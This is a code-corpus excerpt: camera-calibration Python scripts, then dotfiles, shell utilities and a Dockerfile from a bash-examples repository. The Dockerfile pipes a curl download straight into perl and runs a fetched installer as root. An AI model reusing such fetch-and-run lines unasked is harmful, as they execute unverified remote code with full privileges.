69, "num_lines": 36, "path": "/reconst/gen_ply_kinect.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import argparse\r\nimport cv2\r\nimport numpy as np\r\nimport glob\r\n\r\nimport config as cf\r\nimport depth_tools as tool\r\n\r\ndef getNewFile(file_path):\r\n file_hierarchy = file_path.split('.')\r\n new_file_path = '.'.join(file_hierarchy[:-1] + ['ply'])\r\n print(new_file_path)\r\n return new_file_path\r\n\r\ncam_params = {\r\n 'focal_length': 364.8738098144531, # [pixel]\r\n 'center_x': 259.96539306640625,\r\n 'center_y': 212.30979919433594\r\n}\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('dir', help='directory')\r\nargs = parser.parse_args()\r\n\r\ndire = args.dir\r\n\r\nif not dire[0] == 'C':\r\n dire = cf.dir_save + dire\r\n\r\nread_files = sorted(glob.glob(dire + '/*.bmp'))\r\n\r\nfor file in read_files:\r\n img = cv2.imread(file, -1)\r\n depth = tool.unpack_bmp_bgra_to_float(img) / 1000 # mm -> m\r\n xyz = tool.convert_depth_to_coords_no_pix_size(depth, cam_params)\r\n tool.dump_ply(getNewFile(file), xyz.reshape(-1, 3).tolist())" }, { "alpha_fraction": 0.5145910382270813, "alphanum_fraction": 0.5906288623809814, "avg_line_length": 25.988506317138672, "blob_id": "2101877e73633d31d35936b9ad747bca9b94a06e", "content_id": "eaad7e5ad5b9e452d972998964fb9a2b7068570d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2433, "license_type": "no_license", "max_line_length": 103, "num_lines": 87, "path": "/reconst/reconst_3d.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport argparse\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\nfrom utils import depth_tools as tool\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\ncam_params = {\r\n 'focal_length': 628.271728515625, # [pixel]\r\n 'center_x': 317.635650634766,\r\n 'center_y': 231.91423034668\r\n}\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nargs = parser.parse_args()\r\n\r\ndir_save = cf.dir_save + args.name + '/'\r\n\r\nrts = []\r\nfor dic in cf.dic_cams:\r\n directory = dir_save + dic['dir']\r\n\r\n rt = []\r\n file_param = directory + cf.save_param.format('r' + str(dic['cams'][0]), 'r' + str(dic['cams'][1]))\r\n print(file_param)\r\n for line in open(file_param, 'r'):\r\n rt.append(line.split())\r\n rts.append(np.array(rt, dtype=float))\r\n\r\nrt12 = rts[0]\r\nrt23 = rts[1]\r\nrt31 = rts[2]\r\nr12 = rt12[:3, :3]\r\nr23 = rt23[:3, :3]\r\nr31 = rt31[:3, :3]\r\nt12 = rt12[:3, 3]\r\nt23 = rt23[:3, 3]\r\nt31 = rt31[:3, 3]\r\n\r\nr21 = np.linalg.inv(r12)\r\nt21 = t12 * -1\r\n\r\ndir_name = '../Captures/210901/cam123/realsense/'\r\nfile_1 = dir_name + 'depth_1-0.bmp'\r\nfile_2 = dir_name + 'depth_2-0.bmp'\r\nfile_3 = dir_name + 'depth_3-0.bmp'\r\n\r\ndepth_1 = tool.unpack_bmp_bgra_to_float(cv2.imread(file_1, -1))\r\ndepth_2 = tool.unpack_bmp_bgra_to_float(cv2.imread(file_2, -1))\r\ndepth_3 = tool.unpack_bmp_bgra_to_float(cv2.imread(file_3, -1))\r\ndepth_1 = depth_1 / 1000\r\ndepth_2 = depth_2 / 1000\r\ndepth_3 = depth_3 / 1000\r\n\r\nxyz_1 = tool.convert_depth_to_coords_no_pix_size(depth_1, cam_params).reshape(-1, 3).tolist()\r\nxyz_2 = tool.convert_depth_to_coords_no_pix_size(depth_2, cam_params).reshape(-1, 3).tolist()\r\nxyz_3 = tool.convert_depth_to_coords_no_pix_size(depth_3, cam_params).reshape(-1, 3).tolist()\r\n\r\nnew_xyz_2 = []\r\nfor i in range(len(xyz_2)):\r\n xyz = np.array(xyz_2[i])\r\n # xyz = np.dot(xyz, r21)\r\n xyz = np.dot(r21, xyz)\r\n xyz += t21\r\n new_xyz_2.append(xyz)\r\nnew_xyz_3 = []\r\nfor i in range(len(xyz_3)):\r\n xyz = np.array(xyz_3[i])\r\n # xyz = np.dot(xyz, r31)\r\n xyz = np.dot(r31, xyz)\r\n xyz += t31\r\n new_xyz_3.append(xyz)\r\n\r\nlist_xyz = xyz_1 + new_xyz_2 + new_xyz_3\r\ntool.dump_ply(dir_name + '3d.ply', list_xyz)" }, { "alpha_fraction": 0.6226190328598022, "alphanum_fraction": 0.6654762029647827, "avg_line_length": 19.55128288269043, "blob_id": "f3945ee8bfba7735be0f3912abc25684cc12eb7a", "content_id": "e279697607ace967b2977406c8b020b8017904a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3400, "license_type": "no_license", "max_line_length": 175, "num_lines": 156, "path": "/README.md", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "# Omnidirectional-Multi-Camera-Calibration\r\nCalibration method of Omnidirectional Multi-camera whose scene has no overlap.\r\n\r\n\r\n<img width=50% src=\"images/overview.png\" title=\"Overview\">\r\n\r\n\r\n## Camera setting\r\n\r\n<img width=50% src=\"images/camera_setting.png\" title=\"Setting\">\r\n\r\n\r\n## Getting started\r\nEnvironment : Ubuntu\r\n\r\nRequirements\r\n- pyrealsense2\r\n- pyfreenect2\r\n- numpy\r\n- scipy\r\n\r\n## Directory\r\n```\r\nroot/\r\n ├ capture/\r\n ├ calib/\r\n ├ utils/\r\n ├ reconst/\r\n ├ config.py\r\n |\r\n └ Captures/\r\n```\r\n\r\n| Directory | Description |\r\n|:----------|:------------|\r\n| capture | Capture codes for RealSense and Kinect. |\r\n| calib | Caliblation codes. </br>Calcurate each extrinsic parameters between RealSense and Kinect. </br>Calcurate extrinsic parameters of omnidirectional multi-cameras. |\r\n| reconst | Reconstruct 3D point cloud and accumulate them. |\r\n| utils | Utility codes. |\r\n| Captures | Root save folder. |\r\n\r\n\r\n### capture/\r\n#### Options\r\ncapture_realsense.py\r\n- save folder name\r\n- camera number\r\n- capture index (optional)\r\n\r\ncapture_kinect.py\r\n- save folder name\r\n- camera number\r\n- capture index (optional)\r\n\r\n### calib/\r\nCalibration using PLY file by MeshLab.\r\n> - calc_extrinsic.py\r\n> - eval_extrinsic.py\r\n> - edit_ply_realsense.py\r\n> - edit_ply_kinect.py\r\n\r\n### utils/\r\n- depth_tools.py\r\n- file_tools.py\r\n- realsense_tools.py\r\n\r\n## Tutorial\r\n### Folder\r\nIn all capturing and calibration sessions, you shold use same folder name to save.\r\nIf you have 3 cameras to calibrate, sub-folder name shold be 'cam12', 'cam23', and 'cam31'.\r\nExample of folder name is '210715'.\r\n```\r\nCaptures/\r\n └ 210715/\r\n ├ cam12/\r\n | ├ realsense/\r\n | └ kinect/\r\n ├ cam23/\r\n | ├ realsense/\r\n | └ kinect/\r\n └ cam31/\r\n ├ realsense/\r\n └ kinect/\r\n```\r\n\r\n### Capture\r\nChange directory to root/capture/.\r\n```\r\ncd capture\r\n```\r\n\r\nTo calibrate RealSense 1 and 2, capture by RealSense 1 and Kinect, and then, capture by RealSense 2 and Kinect.\r\n\r\nCapture the same object by RealSense 1 and Kinect.\r\n\r\nCapture by RealSense 1 \r\n```\r\npython capture_realsense.py 210715/cam12 1\r\n```\r\n\r\nCapture by Kinect \r\n```\r\npython capture_kinect.py 210715/cam12 1\r\n```\r\n\r\nThen, move the oject in scene of RealSense 2, capture in the same way.\r\n```\r\npython capture_realsense.py 210715/cam12 2\r\npython capture_kinect.py 210715/cam12 2\r\n```\r\n\r\nCapture by RealSense 2 and 3, and Kinect.\r\n```\r\npython capture_realsense.py 210715/cam23 2\r\npython capture_kinect.py 210715/cam23 2\r\npython capture_realsense.py 210715/cam23 3\r\npython capture_kinect.py 210715/cam23 3\r\n```\r\n\r\nCapture by RealSense 3 and 1, and Kinect.\r\n\r\n\r\n### Extrinsic Parameters between RealSense and Kinect\r\nChange directory.\r\n```\r\ncd ../calib\r\n```\r\n\r\nSince the PLY file of RealSense is saved in metric units and the PLY file of Kinect is saved in millimeters, convert the file of RealSense to millimeters.\r\n```\r\npython edit_ply_realsense.py 210715\r\n```\r\n\r\nLoad PLY files in MeshLab.\r\nCalcurate RT (Realsense to Kinect).\r\n\r\nFor example.\r\nCapture/210715/cam12/\r\n\r\n```\r\ncam12/\r\n ├ kinect/\r\n ├ realsense/\r\n ├ param_r1-k.txt\r\n └ param_r2-k.txt\r\n```\r\n\r\nCalcurate RT (RealSense 1 to Kinect).\r\nLoad kinect/ply_1-0.ply and realsense/ply_1-0_[mm].ply .\r\n\r\n\r\n### Extrinsic Parameters between RealSense and RealSense\r\n\r\n```\r\npython calc_extrinsic.py 210715\r\n```" }, { "alpha_fraction": 0.654275119304657, "alphanum_fraction": 0.654275119304657, "avg_line_length": 25.89655113220215, "blob_id": "14d2e200146b068d2d8e33fe368496a149ce6762", "content_id": "ca741a1a5bd569578512d23f9a538c0a8288c8c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 807, "license_type": "no_license", "max_line_length": 76, "num_lines": 29, "path": "/utils/realsense_tools.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport usb\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\n\r\n\r\ndef reset_usb():\r\n def is_realsense_device(dev):\r\n is_same_idVendor = dev.idVendor == cf.ID_VENDOR_REALSENSE\r\n if not is_same_idVendor:\r\n return False\r\n\r\n is_same_manufacturer = cf.MANUFACTURER_REALSENSE in dev.manufacturer\r\n is_same_product = cf.PRODUCT_REALSENSE in dev.product\r\n\r\n return is_same_manufacturer and is_same_product\r\n\r\n usb_devices = usb.core.find(find_all=True)\r\n realsense_devices = list(filter(is_realsense_device, usb_devices))\r\n print(realsense_devices)\r\n\r\n for dev in realsense_devices:\r\n print(\"reset RealSense devices:\", dev)\r\n dev.reset()" } ]
13
javierpart/piedra-papel-tijeras
https://github.com/javierpart/piedra-papel-tijeras
67665aee67b2532e83aa17cd3e30ec2da80826d6
96fe455a97e18dabf22acc6ece9f05a284c8a0ce
5616fa232623a71ed653ba34b091c9b7a5f885ac
refs/heads/main
2023-05-21T20:48:07.218028
2021-06-14T14:34:39
2021-06-14T14:34:39
376,808,161
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5852823853492737, "alphanum_fraction": 0.5955504775047302, "avg_line_length": 30.462963104248047, "blob_id": "8b0d5b098f12a9b1c920dcb8ec13833161c24b2b", "content_id": "598588acfeb74202c20cc9d02a3e5fb79e1b8aff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1756, "license_type": "no_license", "max_line_length": 147, "num_lines": 54, "path": "/piedrapapeltijeras.py", "repo_name": "javierpart/piedra-papel-tijeras", "src_encoding": "UTF-8", "text": "from random import randint\r\n\r\ndef empezarJuego():\r\n # lista piedra papel y tijeras\r\n opciones = {0 : \"piedra\",1 : \"papel\", 2 :\"tijeras\"}\r\n\r\n ordenador = opciones[randint(0,2)]\r\n\r\n # pedimos un numero entre el 0 y el 2\r\n while True:\r\n try:\r\n num = int(input(\"0-Piedra, 1-papel o 2-tijeras: \"))\r\n if num >= 0 and num <= 2:\r\n jugador = opciones[num]\r\n break\r\n else:\r\n print(\"Introduce un número entre el 0 y el 2!!\")\r\n except ValueError:\r\n print(\"Dato no valido!!\")\r\n\r\n\r\n #sume el marcador en ambos para luego devolver el ganador\r\n global marcador_jugador\r\n global marcador_ordenador\r\n\r\n\r\n\r\n if jugador == ordenador:\r\n print(\"Empate\")\r\n\r\n elif (jugador==\"piedra\" and ordenador==\"tijeras\") or (jugador==\"papel\" and ordenador==\"piedra\") or (jugador==\"tijeras\" and ordenador==\"papel\"):\r\n print(jugador + \" gana a \" + ordenador)\r\n marcador_jugador = marcador_jugador +1\r\n return marcador_jugador\r\n \r\n # no seria necesaria la comprobacion, se podria meter en un else\r\n elif (jugador==\"tijeras\" and ordenador==\"piedra\") or (jugador==\"piedra\" and ordenador==\"papel\") or (jugador==\"papel\" and ordenador==\"tijeras\"):\r\n print(ordenador + \" gana a \" + jugador)\r\n marcador_ordenador = marcador_ordenador + 1\r\n return marcador_ordenador\r\n\r\n\r\n\r\nmarcador_jugador = 0\r\nmarcador_ordenador = 0\r\n\r\nwhile True:\r\n empezarJuego()\r\n print(\"El marcador actual es: Jugador %d | Ordenador %d\" %(marcador_jugador,marcador_ordenador))\r\n\r\n seguir_jugando = input(\"¿Quieres seguír jugando? escribe S o N: \")\r\n\r\n if seguir_jugando == \"n\" or seguir_jugando == \"N\":\r\n break\r\n" } ]
1
macdougt/bash-examples
https://github.com/macdougt/bash-examples
38f56c22d459c8eff64cf0afe1a6061081384805
18101aa116eeb9c4edbf49feac2170b7440423f6
e5ddfbbbbd06442a0281940800fa4dde889152c2
refs/heads/master
2021-10-08T03:38:43.352543
2021-09-30T14:08:48
2021-09-30T14:08:48
39,397,233
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5831202268600464, "alphanum_fraction": 0.5984655022621155, "avg_line_length": 16.772727966308594, "blob_id": "d8d1de4b4c2c87da16cda17c2fb29e12f81ad8fe", "content_id": "0df983bd5ee866a1d80bbdfa324c3004a8e63a28", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 391, "license_type": "permissive", "max_line_length": 40, "num_lines": 22, "path": "/test/test_bash_version.bash", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# Printing this file\necho \"File content:\"\necho \"-------------\"\ncat test_bash_version.bash\necho \"-------------\"\n\necho \"Output\"\necho \"------\"\n\nif [ \"${BASH_VERSINFO}\" -lt 4 ]; then\n echo \"bash less than 4\"\nelse\n echo \"bash greater than or equal to 4\"\nfi\n \nif [ \"${BASH_VERSINFO}\" -ge 4 ]; then\n echo \"bash greater than or equal to 4\"\nelse\n echo \"bash less than 4\"\nfi\n" }, { "alpha_fraction": 0.6737967729568481, "alphanum_fraction": 0.6898396015167236, "avg_line_length": 32.54545593261719, "blob_id": "41f2a78355e11e1f5e797585219dbddf2b9689f5", "content_id": "f1feaa7b470d0e03f755993ff9f7f3154c99640d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 374, "license_type": "permissive", "max_line_length": 62, "num_lines": 11, "path": "/test/test_hash.sh", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\ndeclare -A MYMAP # Create an associative array\nMYMAP[foo]=bar # Put a value into an associative array\necho ${MYMAP[foo]}\n\nMYMAP[foo2]=bar2 # Put a value into an associative array\necho ${MYMAP[foo2]}\ndeclare -A MYMAP2[foo] # Create an associative array\n\nMYMAP2[foo,er]=next_level # No real multi-dimensions\necho ${MYMAP2[foo,er]}\n\n\n\n\n\n" }, { "alpha_fraction": 0.5626822113990784, "alphanum_fraction": 0.5641399621963501, "avg_line_length": 24.370370864868164, "blob_id": "89d5375d1fb6c36ed0207fde7367824082fa88fa", "content_id": "05a9bd695780a6199e3f7473eb1b4025c2db182f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 686, "license_type": "permissive", "max_line_length": 55, "num_lines": 27, "path": "/diff_sp.sh", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nfor dot_file in $(ls -d .*)\ndo\n cur_file=$(basename $dot_file)\n [[ $cur_file =~ ^(.git|^.$|^..$|.swp$) ]] && continue\n #echo \"Comparing $dot_file...\"\n cmp $cur_file ${HOME}/$cur_file\n if [[ $? != 0 ]]; then\n if [[ $cur_file -nt ${HOME}/$cur_file ]]; then\n echo \"$cur_file is newer then ${HOME}/$cur_file\"\n elif [[ $cur_file -ot ${HOME}/$cur_file ]]; then\n echo \"$cur_file is older then ${HOME}/$cur_file\"\n fi\n echo \"diff $cur_file ${HOME}/$cur_file\"\n diff $cur_file ${HOME}/$cur_file\n fi\ndone\n\ncd utils\n\nBIN_FOLDER='/usr/local/bin'\nfor file in $(ls)\ndo\n echo \"diff $file ${BIN_FOLDER}/$file\"\n diff $file ${BIN_FOLDER}/$file\ndone\n\n" }, { "alpha_fraction": 0.5871682167053223, "alphanum_fraction": 0.6098911762237549, "avg_line_length": 21.004201889038086, "blob_id": "c2bfb609e2aaa38c518e41a780d2aa53e28b35cf", "content_id": "6aacca67df7fa1ed58e3108829db45b8abd3e20a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5237, "license_type": "permissive", "max_line_length": 126, "num_lines": 238, "path": "/.bash_aliases", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "# Bash aliases\n# requirements\n# exa, python3, updatedb, wget\n\n# Builtin bash\nalias a='dtype'\nalias c='clear'\nalias eg='egrep'\nalias g='grep'\n\n# Not for MAC\nif [ \"$(uname)\" == \"Darwin\" ]; then\n alias filepath='greadlink -f' \nelif [ \"$(expr substr $(uname -s) 1 5)\" == \"Linux\" ]; then\n alias ls='ls --color=never --show-control-chars'\nfi\n\nalias l='exa'\nalias la='ls -A'\nalias lal='exa -alh -s=modified'\nalias ll='ls -lhtr'\nalias path='env | grep ^PATH='\nalias pdb='python3 -m pdb'\nalias pick='picklist'\nalias pythonpath='python3 -c \"import sys;print(\\\"\\n\\\".join(sys.path))\"'\nalias s='source ${HOME}/.profile'\nalias t='tail'\nalias timestamp='date +%Y.%m.%d-%H.%M.%S'\nalias ts=timestamp\nalias u='unalias'\nalias valias='vi ${HOME}/.bash_aliases'\nalias vi='tvi'\nalias vil='vi `fc -s`'\nalias vcs='vi ${HOME}/.bashrc'\nalias updatedb='sudo updatedb'\nalias webhere='python3 -m http.server '\nalias utils='wget https://raw.githubusercontent.com/macdougt/bash-examples/master/install_t.bash -O install_t.bash'\n\n# For locate\nalias lcoate='locate'\nalias loc='locate'\nalias uloc='updatedb; locate '\n\nfunction locate_exact_function() {\n locate $1 | grep $1\\$\n}\nalias locate_exact=locate_exact_function\nalias le=locate_exact_function\n\nfunction find_within_function() {\n locate $2 | grep $2\\$ | xargs grep $1 \n}\nalias fw=find_within_function\nalias findwithin=find_within_function\n\nfunction find_below_function() {\n find . -name \"$1\"\n}\nalias fb=find_below_function\n\nfunction find_within_no_binary_function() {\n find . -type f -exec file {} + | awk -F: '/ASCII text/ {print $1}' | xargs grep $1\n}\nalias fw_no_binary=find_within_no_binary_function\nalias fwnb=find_within_no_binary_function\n\nalias eh=\"list ${HOME}/.edit_history\"\n\nfunction title {\n echo -ne \"\\033]0;\"$*\"\\007\"\n}\n\nfunction it2prof {\n echo -e \"\\033]50;SetProfile=$1\\a\"\n}\n\nfunction hline_function() {\n\n local DASHES=\"${1:-80}\"\n for ((i=1;i<=${DASHES};i++))\n do\n printf '\\e(0\\x71\\e(B%.0s'\n done\n echo '' \n}\nalias hline=hline_function\nalias sep='echo \"\";hline 100;echo \"\"'\nalias mkdir=mkcdir\n\n# Create directory and change to it\nfunction mkcdir ()\n{\n /bin/mkdir -p -- \"$1\" &&\n cd \"$1\"\n}\n\nalias tgz=tgz_function\nfunction tgz_function() {\n filename=$1\n filename_no_end_slash=${filename%%+(/)}\n echo \"tar cvfz $filename_no_end_slash.tgz $filename_no_end_slash\"\n tar cvfz $filename_no_end_slash.tgz $filename_no_end_slash\n}\n\nalias range=range_function\nfunction range_function() {\n let offset=1+$2-$1\n if [ -z $3 ]; then\n tail +$1 | head -$offset\n else\n tail +$1 $3 | head -$offset\n fi \n}\n\nalias write_function='type -a'\nalias py='python3'\n\n\nalias template=template_function\nfunction template_function() {\n TEMPLATE_DIR=\"${HOME}/data/templates\"\n\n RESULT=$(find $TEMPLATE_DIR -path ./.history -prune -false -o -type f -name \"$1\")\n\n if [ -f \"$RESULT\" ]\n then\n echo \"Template $1\"\n if [ -z \"$2\" ]\n then\n echo \"Creating yo.pl from template $1\"\n # Check for yo.pl\n if [ -f \"./yo.pl\" ]\n then\n echo \"yo.pl exists, not overwriting\"\n return 1\n else\n cp $RESULT ./yo.pl\n fi\n else\n # Check for file existence of 2nd argument \n if [ -e \"$2\" ]\n then\n echo \"$2 exists, not overwriting\"\n return 2\n else\n echo \"Creating $2 from template $1\"\n cp $RESULT ./$2\n fi\n fi\n else\n echo \"No template for $1\"\n fi\n}\n\nfunction _exchange() {\n basename1=\"$(basename -- $1)\"\n basename2=\"$(basename -- $2)\"\n echo \"$basename1\"\n echo \"$basename2\"\n echo \"mv $1 $2 /tmp/t1\"\n mv $1 $2 /tmp/t1\n\n # The above copy needs to have completed successfully\n if [[ $? -eq 0 ]]\n then\n echo \"cp /tmp/t1/$basename1 $2\"\n cp -r /tmp/t1/$basename1 $2\n echo \"cp /tmp/t1/$basename2 $1\"\n cp -r /tmp/t1/$basename2 $1\n fi\n return $?\n}\n\n\nfunction exchange() {\n if [ $# -ne 2 ]; then\n echo 1>&2 \"Usage: $0 <file/dir> <file/dir>\"\n exit 1\n fi\n \n # Validate that they are both the same type\n # and exist\n if [[ -d $1 && -d $2 ]]; then\n echo \"Exchanging directories\"\n _exchange $1 $2\n elif [[ -f $1 && -f $2 ]]; then\n echo \"Exchanging files\"\n _exchange $1 $2\n else\n echo \"Either the types do not match or at least one of your arguments does not exist\"\n exit 2\n fi\n}\n\nfunction ddu() {\n local RESULTS=\"${1:-20}\"\n du -sh * | sort -h | tail -${RESULTS}\n}\n\nfunction dot() {\n egrep \"$1\" $DOT_FILES_STRING\n}\n\nfunction dot_link() {\n echo -e $(egrep \"$1\" $DOT_FILES_STRING | sed -E 's/(.*)\\/(.+):.*/\\\\e]8;;vscode:\\/\\/file\\/\\1\\/\\2\\\\e\\\\\\\\\\2\\\\e]8;;\\\\e\\\\\\\\\\\\n/')\n}\n\nalias dtype=dtype_function\nfunction dtype_function() {\n if [ -z $1 ]\n then\n alias\n else\n # Processing output looking for aliases then run type on the \n # output. The structure of the while read loop allows input\n # from the done line (ref: http://www.compciv.org/topics/bash/loops)\n while read l1 ;do\n regex=\"aliased to \\`(.*)'\"\n\n echo $l1\n\n if [[ $l1 =~ $regex ]];then \n name=\"${BASH_REMATCH[1]}\"\n type $name\n fi\n done < <(type $*)\n\n OUTPUT=$(dot_link \"alias $1\\b|function $1\\b\")\n\n if [[ $OUTPUT ]]; then\n echo \"\"\n echo \"Found in:\"\n echo \"---------\"\n echo $OUTPUT\n fi\n # TODO could go deeper\n fi\n}\n" }, { "alpha_fraction": 0.6402877569198608, "alphanum_fraction": 0.6474820375442505, "avg_line_length": 10.5, "blob_id": "fa4011841607b8ccf3231802703d6ef1a762440a", "content_id": "737ecf429fcfab2a03e0432caf8a0d2c6224b02e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 139, "license_type": "permissive", "max_line_length": 31, "num_lines": 12, "path": "/utils/moreinfo", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nfile=$1\n\ngreadlink -f $file\necho\necho $(file $file)\necho\necho \" lines words bytes\"\nwc $file\necho\nls -alh $file\n\n" }, { "alpha_fraction": 0.6314049363136292, "alphanum_fraction": 0.6504132151603699, "avg_line_length": 29.225000381469727, "blob_id": "8b02a1c18fb7d9db1cb583d2156e32409ae3cad6", "content_id": "f70873379ee4b1cfe83893352d829b4f0c5acf61", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1210, "license_type": "permissive", "max_line_length": 194, "num_lines": 40, "path": "/.profile", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "for file in ${HOME}/.{bash_aliases,bbh_content,dirh_content,docker_content,dm_content,dc_content,hist_content,edit_content,optional_content}; do\n\t[[ -r \"$file\" ]] && [[ -f \"$file\" ]] && source \"$file\"\ndone\nunset file\n\nexport DOT_FILES_STRING=$(for file in ${HOME}/.{bash_aliases,bbh_content,dirh_content,docker_content,dm_content,dc_content,hist_content,edit_content,optional_content}; do echo -n \" $file\"; done)\n\n# Add MAC specific content\nif [ \"$(uname)\" == \"Darwin\" ]; then\n source ${HOME}/.mac_content\nfi\n\ncase \"$TERM\" in\nxterm*|rxvt*)\n BLUE=\"\\[$(tput setaf 4)\\]\"\n RESET=\"\\[$(tput sgr0)\\]\"\n export PS1=\"${BLUE}[\\u@\\h \\W]\\$ ${RESET}\"\n# PS1=\"\\e[0;34m[\\u@\\h \\W]\\$ \\e[m\"\n# PS1=\"\\033[34m\\[\\e]0;${debian_chroot:+($debian_chroot)}\\u@\\h: \\w\\a\\]$PS1\\\\033[39m\"\n ;;\n*)\n ;;\nesac\n\n# Case-insensitive globbing (used in pathname expansion)\nshopt -s nocaseglob\n\n# Append to the Bash history file, rather than overwriting it\nshopt -s histappend\n\n# Autocorrect typos in path names when using `cd`\nshopt -s cdspell\n\n#if command -v powerline-shell > /dev/null 2>&1; then\n# if [ \"$TERM\" != \"linux\" ]; then\n# PROMPT_COMMAND=\"$PROMPT_COMMAND;_update_ps1;\"\n# fi\n#else\n# echo \"powerline-shell not found\"\n#fi\n\n" }, { "alpha_fraction": 0.6700143218040466, "alphanum_fraction": 0.6728838086128235, "avg_line_length": 22.233333587646484, "blob_id": "817a5990cef91b332cf4df3b8b847f8adccdc8b4", "content_id": "5d49b8be1a917f140f72a832fc10216667de2278", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 697, "license_type": "permissive", "max_line_length": 80, "num_lines": 30, "path": "/utils/update_file_from_url", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# Check remote file\nREMOTE_FILE=$1\n\nif curl --output /dev/null --silent --head --fail \"$REMOTE_FILE\"; then\n echo \"Remote file exists: $REMOTE_FILE\"\n\n # Get the base name of the file\n FILE=$(basename $REMOTE_FILE)\n echo $FILE\n\n # Make a quick back up of the file\n if test -f \"$FILE\"; then\n BACKUP_FILE=$(/usr/local/bin/bu $FILE)\n echo \"$FILE exists, making a back up: $BACKUP_FILE\"\n else\n echo \"No file to replace\"\n exit 1\n fi\n\n curl -s -O $REMOTE_FILE\n /Applications/DiffMerge.app/Contents/Resources/diffmerge.sh $FILE $BACKUP_FILE\n \n # Remove backup file \n /usr/local/bin/trash $BACKUP_FILE\n\nelse\n echo \"Remote file does not exist: $REMOTE_FILE\"\nfi\n" }, { "alpha_fraction": 0.699404776096344, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 18.647058486938477, "blob_id": "70c8caa237391e76befbe029c4858be2a2b22e32", "content_id": "d35ced724d4d02434b70de4fef89c3a725f22038", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 336, "license_type": "permissive", "max_line_length": 89, "num_lines": 17, "path": "/README.md", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "## Bash Examples\n\nThis repository includes bash content\n\n\nbbh\n---\n\n### Format:\n\n```[pre pid user cwd epoch_timestamp \"readable date with timezone\" tty hostname] command1\n[post command1 pid cwd epoch_timestamp tty hostname return_code]\n[full command0 ...]\n[pre ...] command2\n[post ...]\n[full command1 user pid epoch_timestamp tty]\n```\n\n\n" }, { "alpha_fraction": 0.7010309100151062, "alphanum_fraction": 0.7010309100151062, "avg_line_length": 19.57575798034668, "blob_id": "b548e24a36d2ced820f78932c2b274e95a100fa8", "content_id": "12031368a5e3a1c86fcb51c816591ed7d4030975", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 679, "license_type": "permissive", "max_line_length": 62, "num_lines": 33, "path": "/Dockerfile", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "FROM ubuntu:latest\n\nENV DEBIAN_FRONTEND noninteractive\n\nRUN apt-get update && apt-get install -y \\\n wget \\\n curl \\\n expect \\\n build-essential \\\n perl \\\n apt-utils \\\n tzdata \\\n vim\n \nRUN ln -fs /usr/share/zoneinfo/America/New_York /etc/localtime\nRUN dpkg-reconfigure --frontend noninteractive tzdata\n\nRUN curl -L https://cpanmin.us | perl - App::cpanminus\n\nENV WORKING_DIR /app\nRUN mkdir -p $WORKING_DIR\nWORKDIR $WORKING_DIR\n\nCOPY update_installer ${WORKING_DIR}/update_installer\n\nRUN bash update_installer\nRUN yes | bash ./install_t.bash -u root\n\nRUN apt-get install -y vim\n\nCOPY test_env.exp ${WORKING_DIR}/test_env.exp\n\nCMD [\"expect\",\"test_env.exp\"]\n" }, { "alpha_fraction": 0.6297376155853271, "alphanum_fraction": 0.6384839415550232, "avg_line_length": 16.200000762939453, "blob_id": "f0f4a5879d2e94d770e3a29142823f8920e1854a", "content_id": "66354b3d949f0adefddca916c8bc8c3c8e848319", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "permissive", "max_line_length": 33, "num_lines": 20, "path": "/templates/py/pyclass", "repo_name": 